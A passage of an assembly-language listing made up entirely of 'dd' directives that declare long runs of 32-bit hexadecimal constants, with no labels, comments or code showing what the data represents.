0E2C08223h, 0EE4081Eh, 0EED88B2Fh dd 606DAD3Dh, 6D84C67Eh, 0D1516809h, 7F144052h, 0C05B4B8Ah dd 50A6F45Bh, 1DAE495h, 0B3D0C713h, 6F1E4C7Fh, 0FE8211E9h dd 6BDC965Fh, 0D680766Bh, 0C5011D46h, 91CFF529h, 0DF86AF7h dd 81121948h, 4BDBF70Bh, 0E180AC9Bh, 63E76833h, 0C425A577h dd 2DF7E5A3h, 0DBD5CFC2h, 88007369h, 990DAA14h, 16364A90h dd 0E050F5A7h, 46B7DE12h, 0D4629C66h, 5D6242B5h, 189194B5h dd 0BDDFE780h, 4995D3C0h, 0A62BA9F4h, 311AB2C0h, 54A1F49Ch dd 0C710D502h, 0F0C98D89h, 0ADF395F0h, 9F10EEA5h, 0F7008035h dd 83E48F91h, 6CCA62DCh, 10D51225h, 9DBAAFABh, 71692114h dd 89BAB745h, 18D101BCh, 0F6D0BE23h, 25E6FC0Bh, 0B8FBC60Dh dd 0A6205DD2h, 45622B78h, 0EB81F600h, 31738861h, 947B7F8h dd 4012EDAFh, 0AA13672Fh, 0F84EBF00h, 66B73386h, 0F1D81CE9h dd 4EF665FFh, 266807DCh, 24DA8B9Ch, 0E092B6C1h, 13B2BEFh dd 60E73D4Eh, 70C9BF0Fh, 0A4081D7h, 0BD890961h, 165D2785h dd 0C13597FDh, 367ED401h, 589762F3h, 22F6B2A5h, 8850651Dh dd 4A37E284h, 24FAC312h, 802BA8F9h, 0C45CEFF6h, 0FF1D00AAh dd 7EF4AE47h, 760C2F56h, 3054A55Ah, 618D1401h, 91486111h dd 279AA94Eh, 0B74742FFh, 0B1D8AD44h, 0CE0B5E31h, 0AC051611h dd 8D7080EFh, 2D089628h, 1C75FF0Dh, 21D9868h, 905BB614h dd 245F3AB3h, 31400A8Fh, 0ECE74BA0h, 9B842403h, 0DD0F4AAAh dd 52C71140h, 36D94D0h, 58686EB8h, 0A09C5ABCh, 0E6A9FDBDh dd 40DB7F6Ah, 0C040DAC7h, 81F129Ch, 4FD98B25h, 0E29F40F6h dd 0B328FC40h, 0FE4EC1AEh, 8D7EC08Dh, 803B6826h, 2E4980E4h dd 59F417h, 0BBC302D3h, 0B0363D97h, 918A7C09h, 0B4ABD1A4h dd 5844FB48h, 7DE8D1FFh, 911F86A2h, 6ACD8117h, 0C76A2D14h dd 0DB02657Ch, 1C21C08Bh, 5C70E46Eh, 2E205E89h, 3B25DB81h dd 2608E4Ch, 0CABF0761h, 610B2DA0h, 0F615B966h, 81028F44h dd 87949CCBh, 0C6477425h, 2037112h, 0F3C8B28Dh, 5D1A04Ch dd 8387001Bh, 13C19111h, 0E925D39Ch, 0C2907978h, 2901F533h dd 6868BD9Dh, 5BF85107h, 830F1253h, 0A95F1887h, 8CA321D3h dd 1219C858h, 472568Bh, 0B2D6AA8Fh, 0C9E6005Fh, 32D2B3D5h dd 0C49400F9h, 22A780A2h, 0BF0ABB50h, 8C369D3Bh, 56EF13BEh dd 267D3CA6h, 0A56309B5h, 939521ECh, 217DD8DEh, 0AD720141h dd 0EA49F4AFh, 27363A47h, 85B15446h, 0FFF8FA6Ah, 0D7C241E5h dd 0A5009DBDh, 4B028BB5h, 44669DF9h, 0A90908A2h, 17502E5Ch dd 44558201h, 18A7B7Eh, 0DF25C916h, 3A1BB06Bh, 711C5C2h dd 0E940995Fh, 5582319Dh, 38D482E0h, 70FE120h, 7E88160h dd 8C475475h, 9500C7C3h, 6C80A1F8h, 0A5BA5Dh, 1926CFF4h dd 30917E89h, 61461F17h, 151337E7h, 7942A324h, 0D5FAF28Bh dd 0C9752C0Bh, 273AC855h, 0A1959331h, 2771EB4Ch, 101243F9h dd 4B103954h, 0DF8916C2h, 2B4E59DAh, 39695980h, 1CD1628Bh dd 0E9021F95h, 853E817Fh, 40C64C44h, 5F05B545h, 2C4A624h dd 0A9071F37h, 250F74F0h, 4C2CF690h, 580EB573h, 0FBE770h dd 0F87BC5F7h, 0E02CD357h, 164E1957h, 8BB016ECh, 0BEF7E9D8h dd 180990Fh, 343AF50Dh, 25B9AC24h, 11627B02h, 0D3811C1Fh dd 77B82B04h, 668116E9h, 600F45BBh, 8928DFE6h, 0B0977495h dd 826C0200h, 0BE2DA705h, 0F03CA8A5h, 5A5BEB80h, 0CF25D848h dd 17CEE6BAh, 0ED1005B9h, 779E803h, 5B4EF101h, 611F53DFh dd 0C8D85C0h, 41FC77A1h, 70E1DA2h, 70CCFB79h, 88A00596h dd 2B04BDF5h, 0E88A60C0h, 23193A82h, 0BF84BA61h, 69620970h dd 50AC012Ch, 6898037Fh, 6A0021D2h, 9A4BE3DBh, 0D2C68AABh dd 0E780DA04h, 57886FC2h, 0DB083D38h, 607E7601h, 0E6D7EF37h dd 0C8F59A2Bh, 655BC116h, 65342FA2h, 59F73840h, 9EEAE61h dd 16AAEF74h, 0DC7A7379h, 0C3AD42Fh, 1D4B9D7Ch, 41274CC1h dd 6E2F1AB3h, 0CBD6125Dh, 7A8887F2h, 25093392h, 56CBD11Bh dd 670195F8h, 49DD0A99h, 3160A7A1h, 0F4D39D37h, 2F3D1759h dd 71E56180h, 13B6E1FFh, 121702DCh, 53D73278h, 0D50835Eh dd 84758204h, 38AF051Eh, 0AD86153Fh, 0B4BB602Eh, 2FEDB792h dd 0E9B26828h, 0A03CE72Bh, 71D240h, 8CBFC48Fh, 3C62DB81h dd 0E70C3524h, 30FFD1B4h, 39E03745h, 9BACAFA0h, 0AB6F7207h dd 51319749h, 162FA4B2h, 0E10BE684h, 57A52A8h, 0FBE18008h dd 0EB00936Fh, 0D8B31B91h, 0AE97DAD0h, 9B5B9181h, 0AEA481D1h dd 6633633Bh, 5A966A00h, 55DD3E45h, 9FAFDE04h, 47AC8C1Ch dd 0ECE3FD4Ah, 27880437h, 0BC11540Dh, 0C781C0C7h, 868FE8Fh dd 0EE9502Fh, 0AB704C83h, 34B0E8E8h, 36A00226h, 0D4688AFDh dd 2D74C47Dh, 449302D9h, 0BF609A01h, 762C5A84h, 24E32Eh dd 0A36861F9h, 43DB7C5h dd 1E2E62BBh, 1E80AE73h, 0F9A8C65Ch, 82FB9B6Eh, 0DFE091CEh dd 8E729D9Bh, 0DD8DDF4Ah, 1321F62Ah, 47DE01D1h, 0D7640583h dd 0E3BFC198h, 0CDAB732Ch, 9287C915h, 0C44ABAB3h, 5870EE92h dd 0AAD3A1h, 8DBAF552h, 0D97379DAh, 0C204271Dh, 0EDAD7845h dd 0B3A9AD84h, 12795B2Dh, 64580154h, 0B92D76F8h, 0E2C72E44h dd 0A0C97309h, 0B512D96h, 70AB0C79h, 27D5458h, 9D23315Eh dd 0CD770FE5h, 45400044h, 94E482ECh, 993195F8h, 4467D26h dd 31F05C76h, 0CD031675h, 618EBE17h, 40EE7DD5h, 2BED0B0Ah dd 5682B356h, 0B055D8FEh, 0E2AD5AC3h, 46C09CE3h, 126CBF66h dd 82260968h, 0F8687F34h, 0F838CBB9h, 7A8B4031h, 746E92CEh dd 7F2B2DD9h, 3EC0DBEDh, 74E61765h, 144731AEh, 7B812182h dd 0BCB3DE12h, 45389D4Ch, 902A884Ah, 71409194h, 259D7EDDh dd 41C4503Ch, 9A542007h, 0F5C0E243h, 4B811804h, 4F89BDACh dd 0D2E318B6h, 61E00FE8h, 3F87B704h, 0C4993E5Bh, 2B875228h dd 421E9078h, 0B000A9C7h, 0D327FE49h, 401DC50h, 0D1C4D97Eh dd 0B944A961h, 93008C4h, 3AD780ACh, 0DFC47971h, 56290A92h dd 6A2E71A6h, 0C7005E7Bh, 66541A94h, 2139E1BBh, 92160E9h dd 9728159Dh, 0F0D27C1Dh, 0DE0C5F7Dh, 98BB8971h, 0E2C97Dh dd 0AE147D7Ah, 15B882Bh, 2CD34301h, 0E366E0DEh, 95F082EAh dd 788D5C69h, 3DB504A9h, 0B590016Ah, 3CF46208h, 0BF1B80BBh dd 7AECDDh, 9D2EAF27h, 0B87D3ACh, 722CE704h, 128B12EAh dd 0EB886535h, 28E1CFE6h, 4D917084h, 7B0F7012h, 0FAC963A9h dd 0A0AC9E71h, 90844113h, 1AAC55ADh, 0D195008Ch, 1E61A9A6h dd 5B5A56D6h, 6A5EDBE7h, 0CDB0754h, 0CBFE3913h, 59647F80h dd 16CD8495h, 0E6719609h, 80902E0Fh, 7FB769EFh, 0E4900A0h dd 0B3713B04h, 50275B0Ch, 0C0946D96h, 80345AEFh, 905A7971h dd 10291820h, 0B94400CBh, 28F4F0CDh, 1597A737h, 1B5640A7h dd 2F095B3Eh, 73F9E525h, 0D621A4A6h, 0BC1E4701h, 0F99D0340h dd 0EC2BA164h, 22349F1h, 248C15E8h, 16EEF310h, 0E9EAC835h dd 0A6BC1D4Ah, 150681A1h, 23CE09ABh, 81ABBF73h, 0A1617179h dd 400DC420h, 294BB41Bh, 7C94CDBDh, 0E602CD12h, 3015A2D8h dd 90C5FD4h, 0E3333985h, 2F492D9Dh, 0D326587Bh, 31BF00D6h dd 279F806Ah, 7B95C07Ah, 43B5AF8Eh, 93AB4902h, 7E4E77FCh dd 878C5B3h, 0FAC52F94h, 0AE06DE84h, 57E1E0CAh, 0A4FFF0F1h dd 2B6BD809h, 92B21817h, 0A5438D0h, 0D1C36081h, 3E9EFAA4h dd 0EAA701C3h, 52F35C8Ah, 3D60374Dh, 73B0CDF9h, 5EDC67EDh dd 0F643FCBh, 0D9AAB58Dh, 0CB716C8Ah, 0DEFB9281h, 0DB7C43D2h dd 20922600h, 0BD2DB2D0h, 62450316h, 0A4892F8Fh, 2A6F99D1h dd 0C3828195h, 2555F6F1h, 9D7716Ah, 0A5FB5302h, 0BB60E068h dd 56FD690Ch, 25C43E73h, 0C7C561A2h, 41FD5B16h, 9A0067ECh dd 0CC4D7454h, 0D58E496h, 5C99531h, 0D0733FF3h, 8DBCC6DFh dd 0C7986737h, 92B1F02Ch, 0AF524F71h, 0F7801D7Fh, 9DB3CE65h dd 9019BB5h, 0D91F29EFh, 12B9CC89h, 3BA65F14h, 0AA2D6100h dd 0F05199ECh, 0CD512A8h, 5ABFE3C5h, 456989ACh, 54459859h dd 0ADECCAE9h, 0D1607C25h, 8572035Dh, 0D909CAFh, 300844Ch dd 71EF014Fh, 79F18B02h, 0BEB57E59h, 0E3611252h, 895709B6h dd 82D0569Dh, 0B1B5295Fh, 79C68169h, 7BCF4AC9h, 486A4Fh dd 2A6AA34Fh, 0EBE95034h, 0B6B4C46Bh, 0D13CE032h, 25D9FCEFh dd 80D6FFF5h, 0C934068Eh, 70FCDBC1h, 0F65FEFF0h, 6DACE1C4h dd 902302DEh, 0E7466051h, 0C52E4700h, 0C413C97Ch, 1BBA0073h dd 0B5073B02h, 3F0483F5h, 595BE367h, 5FD7C0FBh, 8525B350h dd 57C490h, 0B60ECBC2h, 0FC63F092h, 3205BE00h, 684EAC02h dd 6A712738h, 0B5DE82FCh, 64A5C659h, 6534000Ch, 6237FDE5h dd 502FCD19h, 40664F36h, 65E419EBh, 765538h, 5DBB97D8h dd 0A036CCB3h, 5F054DA0h, 0C2FE9B3Ah, 5CF862AAh, 60E52CC7h dd 0DE89B9C8h, 1DE0BB00h, 62F880ADh, 5B1F2D04h, 61A58F5Eh dd 6F6F6A23h, 86F5009Bh, 3A5480F9h, 0FB192698h, 4B508EAh dd 719D3305h, 1C6D90F5h, 1D1C32BCh, 1342B8F7h, 0DFBE6685h dd 283CD3D1h, 1D5EB081h, 244235BBh, 548D00C1h, 0A6AB5692h dd 29FB1305h, 33D29D95h, 0EFED555Fh, 98621464h, 9C718F5h dd 1EED209Dh, 37D1FF2Fh, 0C7200F1h, 69883918h, 8C05AA70h dd 16959D23h, 38A08EAEh, 4CFD4BE1h, 9C0450E8h, 26A4E7Eh dd 1846EAFh, 1FE0EDD5h, 96C5CA76h, 639202Eh, 500E6E10h dd 80B568A1h, 0AC6B7BCEh, 88904F01h, 0CA0206F7h, 4EBD957Ah dd 13B2DCCFh, 0D7065DD8h, 3F0D70Fh, 90E201B6h, 0C0E56D5Dh dd 7C5A27BFh, 0E5799404h, 0BE848999h, 8062B3F1h, 0A02BA693h dd 2F1E5F50h, 0C6FA9D8Bh, 1140B296h, 0F93F90Bh, 91C19F0Ah dd 0B0039703h, 6023DB90h, 0F51C6202h, 5E3CE95Bh, 34577124h dd 0BD120312h, 10D322DDh, 0BEED8539h, 0E203A980h, 8D00DC7Ch dd 4EC0625Ch, 0B8519434h, 0C0C5B139h, 6780F381h, 0EE38A625h dd 0D4639441h, 50FB9C17h, 8E9ECF61h, 0DE56B405h, 0B52C8997h dd 801B1193h, 0D3D977CBh, 0EC910B82h, 0C304522Eh, 4E4DBC5Bh dd 0EAF896A9h, 65097EBDh, 2667E286h, 95399CDAh, 29C1FF6Ah dd 0F10BC71Bh, 69899032h, 0F819C90Ah, 7113E7Bh, 0B0750A5Ah dd 447A2505h, 62618120h, 2A655453h, 4BD5F04h, 0FC3FE721h dd 594213BCh, 42085E11h, 70200BE9h, 1C95355h, 7893E758h dd 3BEA084Dh, 8D21BCA3h, 0CD88291Dh, 0B684A2Ch, 745E0FD1h dd 0E936D04Bh, 0B823242Fh, 0DB81041Dh, 1EBD05EAh, 20C12D38h dd 4D0FA3D1h, 0BBE93670h, 42EFD869h, 4CC02F84h, 50854FC8h dd 475555EEh, 2FD22BB1h, 0C268C9Dh, 0EC0D5A31h, 20FED235h dd 0DA3EBB3Ah, 10A8E74Eh, 21E9DE25h, 0C1A2151Bh, 31D20F70h dd 404EDDA7h, 39D86510h, 1183A150h, 0E35A1BA1h, 0ADB50990h dd 0C02E790Dh, 0D09DBFBBh, 2DD97C4Bh, 0A295EE70h, 7DDC026Fh dd 0CA45771Bh, 5E7C070Bh, 2800F492h, 9094953Bh, 5E86AA3Fh dd 35EB31E0h, 92C2C6F6h, 789853F7h, 49127420h, 2E24820Fh dd 82F7D792h, 422B9F9h, 887ABD61h, 0AE2AB5A7h, 0DBEB8D94h dd 0D6B38023h, 0B6ECD9h, 535007F0h, 0E9BCC781h, 5F159013h dd 0F4C18330h, 280801CBh, 0CC32D78Bh, 0FD56C88Dh, 6DDA90BFh dd 836200F1h, 328CFA42h, 0B5EC74E3h, 0BF002CF0h, 1EA8F3E4h dd 3131FC5Fh, 2BD1998Dh, 536E3BC0h, 0BD8FE001h, 3F54FDB0h dd 25233008h, 0FBF7A5CAh, 0A2F47038h, 955ED07Fh, 0EB08A135h dd 0BBF99301h, 88090768h, 0F60069FCh, 57C56BF2h, 260BE3EEh dd 2F066D9Dh, 11781253h, 3B592D01h, 79AFC079h, 0CE89AF5Dh dd 4D97A972h, 85F4E0AAh, 46B5A1B1h, 1BBF04E8h, 0BC515C75h dd 5F20ADC5h, 177A2DD7h, 0EEC01FEDh, 2A32FDh, 0AD6136ACh dd 9529259Ch, 0D10F1125h, 0A79EC539h, 537EB1D4h, 20B529D0h dd 5F4B0CB9h, 1352D1C8h, 49FDBD31h, 0B27B5B9Ah, 2A181959h dd 73342B05h, 0DA0572AAh, 0BFFDE1FFh, 5039CB8h, 93BB7F78h dd 15A6258Bh, 1BC0F6F4h, 30C6Bh, 6705B597h, 0F3A68B49h dd 0D8845225h, 959D922Ah, 168E59E5h, 67ED1304h, 3D5963BCh dd 0F3E29237h, 0E704D69Ch, 5E33B067h, 54509FEFh, 2D8E6EE1h dd 8AC49922h, 60092F95h, 58DC0AF4h, 0C52D3C13h, 0D98C4FE8h dd 0BB0448B8h, 1E226AD8h dd 2E4A7BBAh, 9B095736h, 5DC27ACDh, 0AF9E9FBh, 9D890BFDh dd 5321748Dh, 2875D412h, 0E0D667E9h, 1E61FFBFh, 50DB2B98h dd 0B8D77D0h, 4891512h, 0AA787ED3h, 667A2D2Fh, 1EBFE168h dd 2D11212h, 52A24BE8h, 0D7D74CAh, 882E4FC4h, 7F4C6C67h dd 59B0F0Ah, 1AB0A0CDh, 1C60EA78h, 2D8BA2E3h, 0BC002779h dd 422C9ADh, 0C989E25Fh, 0A57B584Dh, 23B1346h, 0AB657A3Ah dd 0C55DA10Fh, 0D08B81D5h, 65ABE9B7h, 0B8E16D11h, 0BD755AB6h dd 0B3E59299h, 0C032DB2Bh, 57A862F4h, 0A47F0B9Bh, 6902B858h dd 8E251681h, 6F1E4113h, 40F89622h, 405E2A34h, 0E23F9802h dd 5E5B92A0h, 1A7069F8h, 0DECC484Bh, 5DA54CBBh, 51CC5731h dd 0C1702F0Ch, 3B1BB66h, 60068993h, 2A5B0BB4h, 0B23B5EB5h dd 11DA9362h, 51FB4680h, 0F00372E2h, 0BBEB4883h, 1B09990Bh dd 80BC132Fh, 50105F75h, 0B6FEE69Dh, 0BF5B2F1Ah, 834370h dd 73D6BD6Dh, 5FA3324Ch, 3341DAC4h, 60C4B9BDh, 0DD21ACF8h dd 35A28297h, 878B6801h, 9266E027h, 72BC95BAh, 0F77C7404h dd 2BDA21Fh, 71522E0Ah, 3D56D10Fh, 0F1120600h, 0CCC0F0B9h dd 0B12EBB04h, 0E8BC5C94h, 5F253643h, 0BB00B5E6h, 16EB4256h dd 0F2BF5150h, 683C1677h, 6B728D5Bh, 0DBA814A2h, 0B51F51B0h dd 0F1E58726h, 0DA3D3F24h, 0FF7CA80h, 5FF87E3Dh, 991382A0h dd 736E614Ah, 0EE971600h, 7D5FC523h, 0F7FEA750h, 52C1F005h dd 2BEDB589h, 62745B27h, 50037B7Ah, 0D02834AAh, 0C9B0B9E6h dd 0F035120h, 161F78Ah, 78125929h, 3F51BC56h, 16111FC2h dd 0C1F71C80h, 0DA9C37E9h, 0EDE65AF6h, 0D897AF18h, 981F9CAFh dd 0A64B66DBh, 0BDFD82C6h, 91020906h, 5BF41255h, 6A9D34C0h dd 9FE70004h, 6E384FC4h, 720F2BE8h, 0C9BA805Fh, 46E4795Bh dd 74BF96DDh, 5C73DC83h, 0FEBFDD02h, 4546379Ch, 53AD9A14h dd 2FDA79F5h, 11C2DEF9h, 0F23D5D2Eh, 9D6D6300h, 957D67E9h dd 0F9128B7Bh, 0B64BACF7h, 3F19A077h, 0C31B97BDh, 9DD0D3A8h dd 4454C42Dh, 0D2853C21h, 0F2A75080h, 0BD8207B2h, 96874513h dd 3FBB4288h, 6F80AA33h, 5673206Bh, 6DFE2ACAh, 5ABC3800h dd 0E80BBA83h, 0C566FA50h, 91965FC0h, 4A6A8407h, 7BDB259Fh dd 181A591Bh, 452D028Ah, 67993A37h, 91F9B5D7h, 0BB029F18h dd 0F91A63A6h, 0DA4A01EAh, 0D0178970h, 0D501FF3Bh, 3CE9B009h dd 0C4D7C5AAh, 0A99679BDh, 0D9E3826Dh, 0AB785EF8h, 3D3D859h dd 8D898C05h, 8DAB12A1h, 5B532C55h, 0EBA56DF7h, 844BE9A3h dd 7479AC94h, 0C6719297h, 63775Dh, 5EF6ED3Bh, 81BA1F74h dd 823DDB02h, 5E5F4A57h, 0F5486C63h, 242E2D45h, 0FF76F4Ah dd 82DC85E1h, 0D5092CF4h, 0F240EC6Fh, 17CBFE05h, 0BEE6D53Ah dd 1166C8h, 129B8C99h, 84B8F374h, 0D74E3097h, 0EBC0BC15h dd 82A0B55Fh, 4F8B2053h, 0D01E3EA7h, 7CDACEC1h, 97BC145Ah dd 0F8870F13h, 948BDF1Bh, 2C89D650h, 0A5B25A6h, 8A65F47Ah dd 417091ABh, 0CE95BD01h, 8023B857h, 0CA714BF3h, 9725223Bh dd 89242DC2h, 769D8C50h, 5A0093F0h, 0E63C4590h, 3F32575h dd 2013E51Bh, 0C917674Bh, 47165356h, 1E94C7B9h, 0A5EE912Ch dd 19608CEh, 9DE250D4h, 6997BDh, 151315Bh, 49D6ACABh, 115C603Ch dd 71352425h, 0C13549C1h, 0D4024A85h, 1DC17D81h, 6720382Fh dd 9C7A6FE1h, 0B6E4D400h, 4E27B318h, 0B9C9D2C4h, 0A8D60BBCh dd 368880CDh, 1EE5015h, 0EC8C7CBFh, 2BC65B6Dh, 2381F79Eh dd 688D0FC4h, 6E4E8167h, 2D2F627Ah, 0E9B16A33h, 0B0E9EA11h dd 8918072Fh, 0A3292B85h, 0D11B5156h, 5A05BA2Ah, 4B29B85Ch dd 247AF58Dh, 26595934h, 187EC1Fh, 5A7E10F6h, 2B506F1Dh dd 80F94388h, 8F1B81BBh, 90E3EF8h, 3A142F70h, 0BD12423Dh dd 0D76221F8h, 0D6FA8A0Fh, 4C876AEBh, 404922DCh, 0E9229030h dd 28840008h, 0EC796D27h, 505F5D56h, 3E34E388h, 0CC3C4FB8h dd 33908C82h, 925DCDBDh, 910A8301h, 6FABB421h, 5D95286h dd 16B59D8Bh, 36AA2DAFh, 0A8A2B76Ah, 0FDF139h, 0F7625DE4h dd 292C7C37h, 54491D8Dh, 825E2FBh, 25BB6610h, 36C54553h dd 81008D11h, 5AA387CFh, 24E6A46h, 1680759Bh, 56E10FEBh dd 0B531E7B0h, 5250FB69h, 4B51E558h, 56C9E95Bh, 9DBDF3A9h dd 0E65E328Ah, 0DA12A08Bh, 0DDAD1428h, 6D279A02h, 0D7004B79h dd 0E9F97506h, 0D279B55Bh, 748539C4h, 0F80A39Eh, 259342B2h dd 8195891Dh, 0FC6C25h, 7E6914B6h, 37DE371h, 19419604h dd 0EAAC1B62h, 242DBCD6h, 61175FBh, 4EF26B01h, 0FE3FE696h dd 3ADC0674h, 6800BEA2h, 5A2A1807h, 814E0F21h, 4884F8A2h dd 891A8091h, 0B5019C1Dh, 6CE8597Ch, 342E8805h, 17DBFE0Bh dd 0BCE094C0h, 20FDF922h, 0E654CCD9h, 604B92CFh, 0F97F0E99h dd 85DA9C4h, 125F463Ah, 0F73D6634h, 190D4811h, 0FF5904ADh dd 0B00A3374h, 331D2588h, 9F0076D3h, 36F1D905h, 0E7A4009Ch dd 283321FFh, 3C052E0Ch, 8864E881h, 5180D0F8h, 95A8B042h dd 4504E37Fh, 3572B953h, 0A462380h, 3731975Bh, 8A76B33h dd 0F6BCC02h, 80D70461h, 0E63BCF88h, 0C4606170h, 2FCC4EC6h dd 4200B9A2h, 459CCD2Dh, 0A0393940h, 0C6D0143h, 0BCD9C67Dh dd 0C152A02Bh, 5B80584Bh, 258197BBh, 58C9367Eh, 628C15F2h dd 664007ACh, 40B54E43h, 19A9CE6Eh, 8E59BA02h, 0D72872CAh dd 0F381A1A0h, 6FCC6F2h, 2EE3B895h, 0A5180D68h, 2A82F8AAh dd 97126CE0h, 61565611h, 3C927B83h, 0CAC8555Bh, 0CBA0D88Bh dd 2B1274AAh, 0ADC751C8h, 0C7C2D1C4h, 11AE72D5h, 22305D85h dd 3803B08Eh, 44254E49h, 5803E590h, 0DAD3D100h, 3C61978Fh dd 0BAE00062h, 0E3BD284Ah, 0A8273DE9h, 0B186638h, 0D2D9D03h dd 8D2A185Dh, 43324301h, 0C9821DFDh, 0CE18EBC0h, 16FCF33h dd 0FD345D2Eh, 2E3BBDB0h, 0B00A7848h, 32E9FAE8h, 3ADA5CA1h dd 218835F3h, 9D8595BBh, 0F0C44E97h, 298365ADh, 0B1486D85h dd 70834343h, 25B58D88h, 6D55927Eh, 0F01DE331h, 0B65FB8F8h dd 0B020CCBDh, 2964B5F8h, 0CE9B54Eh, 0AE6A6112h, 46604D6Fh dd 36F52603h, 58967809h, 5F02502Ah, 0AA29BA0Dh, 11A8052Dh dd 0EA02B807h, 76599B42h, 0B9403C57h, 0D57B0B95h, 179F30B7h dd 6747A6DDh, 3996080h, 0D003E197h, 0BE958B58h, 0E161929Eh dd 7A40C6BAh, 91956D9Fh, 0B12A0116h, 44612B08h, 0E73AD98Bh dd 301DF2BDh, 61074CD8h, 0D357D0EBh, 0BB4E5F00h, 0DAC63B56h dd 0DBBCEA59h, 47B2CF5Ah, 2A4D9200h, 8A47AB3Dh, 9356CA14h dd 45A79E5h, 84D062E9h, 0EF502813h, 775DF96Bh, 0F9C71280h dd 0EB250A17h, 0F66C683h, 3771DF81h, 42715CC9h, 0DDFD825Ah dd 0BF53042Ch, 0DD5FB20Bh, 0B795B534h, 0AB490A1Dh, 84FD2F8Bh dd 0C3EDB87Ah, 4A0036F8h, 0DF5F57FCh, 0EF501525h, 4EB1D7DAh dd 0ABBD1005h, 0C3F81EC7h, 9A7781BFh, 30E1FF7Eh, 65F68053h dd 0B7E99495h, 4D7DDA42h, 7383E00Bh, 0F60999CBh, 597ECAA2h dd 3F8044E9h, 31001A23h, 0A43C2397h, 0BFC20287h, 3E680E46h dd 5652EB56h, 8D298B4Dh, 602425F5h, 5376EEEh, 0BC5B35CFh dd 8056C0ABh, 6058EC6Dh, 88E54E4Bh, 49BA2645h, 0FC5A61B0h dd 6A2386A1h, 9A4BFBF6h, 0FD3980B7h, 342B6223h, 0E8E5319Dh dd 9BB912FFh, 415B05E4h, 1EC86F01h, 48AD0F95h, 0F9AEB165h dd 7F1A4120h, 0F016F2EDh, 95E85003h, 0AE5F5BC4h, 1C23B46Bh dd 3E4BC900h dd 12161D8Bh, 0AFD460E5h, 56E61975h, 19D9DDA0h, 203F60BFh dd 8C5B5F6Ah, 0F27FAC67h, 58317D00h, 0A096F0BFh, 20505A06h dd 0EDDBB549h, 102FBF8h, 0BB82CDE3h, 80C5B790h, 0B126B7CAh dd 555E9D89h, 0E7819820h, 0D1AF0317h, 1821684Bh, 565154B8h dd 155ACA2h, 81BDE85h, 897A09EDh, 34D60FBh, 6509D58Ah dd 46D6B7FEh, 7CA12717h, 0E3813F7Eh, 1AF7464Ah, 51DA6A89h dd 0B4C01688h, 38E976BBh, 0AD5E01ADh, 0BF22BC58h, 33412456h dd 392EA59Dh, 7D6A3A65h, 2AE0F205h, 0DEB2EF72h, 0FFBE6000h dd 6612F4A2h, 9BE2B80Bh, 2C305D61h, 748F9BDh, 272984E2h dd 6A48DDEBh, 0A5F10E84h, 0B42FA67Bh, 7F00C1B6h, 0DC0E11B6h dd 8924F9E7h, 97DEB606h, 0C0314B65h, 702F1B4Dh, 9BBB56DFh dd 65955909h, 0F62B5E5Fh, 57A2A500h, 0B031C5B5h, 0E07E4F21h dd 4620C72Eh, 126078E0h, 0E6FB59BAh, 57501222h, 40ED8713h dd 0E23EF812h, 0E80E4977h, 971A2569h, 0D6AFC6D1h, 7161046h dd 6DCB6168h, 2169B707h, 72C89EC3h, 0C910DB6Ah, 0FD0B5D9Ah dd 562F8B75h, 0D57CECFEh, 0A852124Fh, 900189B5h, 1BF9E9ABh dd 5B859DE4h, 5F11B72Bh, 91FC0E80h, 0C3B7BF61h, 7BF6F000h dd 32D391F3h, 81A6E89Ah, 67256776h, 956DA55Bh, 0E0EBDE42h dd 0D2912CB0h, 0B2CB043Eh, 0A73DAC0Ah, 6092EFFBh, 9593B2A6h dd 2654DC09h, 0F1D30833h, 1644E98Eh, 0A0E83DEDh, 0F141BE00h dd 0C89D328Eh, 828B9584h, 68598A09h, 36002D7h, 7B505985h dd 0A199BA05h, 3CC0172Dh, 4B1DEF81h, 10358A91h, 0D5420476h dd 421B69CDh, 0E77F1919h, 58E123B0h, 0B304B601h, 2D3E9505h dd 2E09D281h, 0A3D78000h, 5A27D3BDh, 8C02C76Eh, 0B7650AB1h dd 0D69A56C9h, 2001C46h, 0E52673F0h, 622F2A70h, 0BF27444Eh dd 9F8059DEh, 14E2AB72h, 3FB600E5h, 0C542E470h, 444AB7D8h dd 0DA9222F2h, 650B8090h, 2FCEB652h, 8A0BB2C1h, 95190FF7h dd 0BD010497h, 0C8AA2AD1h, 838A11E5h, 0D28C1E03h, 6655DA4h dd 505FFF1Ch, 0E10A8993h, 4952F40Eh, 0F76A036Ch, 46F25072h dd 6AB23C55h, 0C1DC819Eh, 0B4BAC275h, 7B5520F3h, 40BC3A12h dd 0C7513DE6h, 0BA35342Bh, 0A6891BD9h, 875C2E91h, 5031F3C9h dd 0AC4EBEC5h, 10E2CC8h, 16B9EFEh, 6059B7F3h, 0CA1D8453h dd 92710F5Fh, 9A2B2050h, 0C018C86Eh, 47699FE2h, 9D236804h dd 2BB9318Dh, 0C56C81D6h, 0D162A28Fh, 81F2BD9Dh, 63C6E795h dd 8B73D8FAh, 1DBD304Eh, 0EA50ADC9h, 597ADB97h, 263181Ah dd 993E69D4h, 0E2F54CA3h, 56A50238h, 0B34257B4h, 0D4080D6h dd 40C5783h, 0E738CECFh, 0ECA2B3h, 95BAAD9Fh, 98FD57Dh dd 0A6D3BD58h, 50D1005Dh, 2FCC08BBh, 0E75E4072h, 0C53D574Bh dd 46487800h, 1340120Fh, 0F30E94Ch, 0B816A157h, 6AEBB444h dd 0BE7A0598h, 95D3A9FBh, 42B8C448h, 0C2F388A2h, 38BF4ED8h dd 0B2820DD6h, 0ABB8A048h, 0F3134156h, 17410F30h, 84920022h dd 46CE7579h, 0A9028625h, 2AFB8101h, 0E8607D5Bh, 50812341h dd 2E814A78h, 0F4B5CD1Ch, 7900989Ah, 0B27637A1h, 139D3A43h dd 0FC532140h, 975B3831h, 6FAA3489h, 1AF614C8h, 26345895h dd 2D50500Bh, 5D799D33h, 112D148h, 1BBCECBDh, 0AEB2008Ch dd 57D7D639h, 0D9B89890h, 0A41AD925h, 6B5404D8h, 0E745FD12h dd 939A5FAEh, 20F9E587h, 1DB34E19h, 0C7DD8E54h, 61FB8B12h dd 5D8DB4E2h, 75B62E3Ch, 227E28F0h, 11633305h, 0BEFFEF1h dd 96570B20h, 0D4C3946Dh, 0F1A1F55Ah, 1298DFFCh, 0E00F6E58h dd 0AA900BCCh, 61BD115Ah, 0B59AEAB4h, 0FE48009Ch, 526D3610h dd 7904E74h, 2D13E120h, 5C5EF5E9h, 0DE1226h, 0BF4B1D9Eh dd 2756E8D4h, 37C18B2Dh, 2F540F8Ch, 7B00AD8Bh, 9501CCF1h dd 712DD52Dh, 0CC4D6956h, 18C91340h, 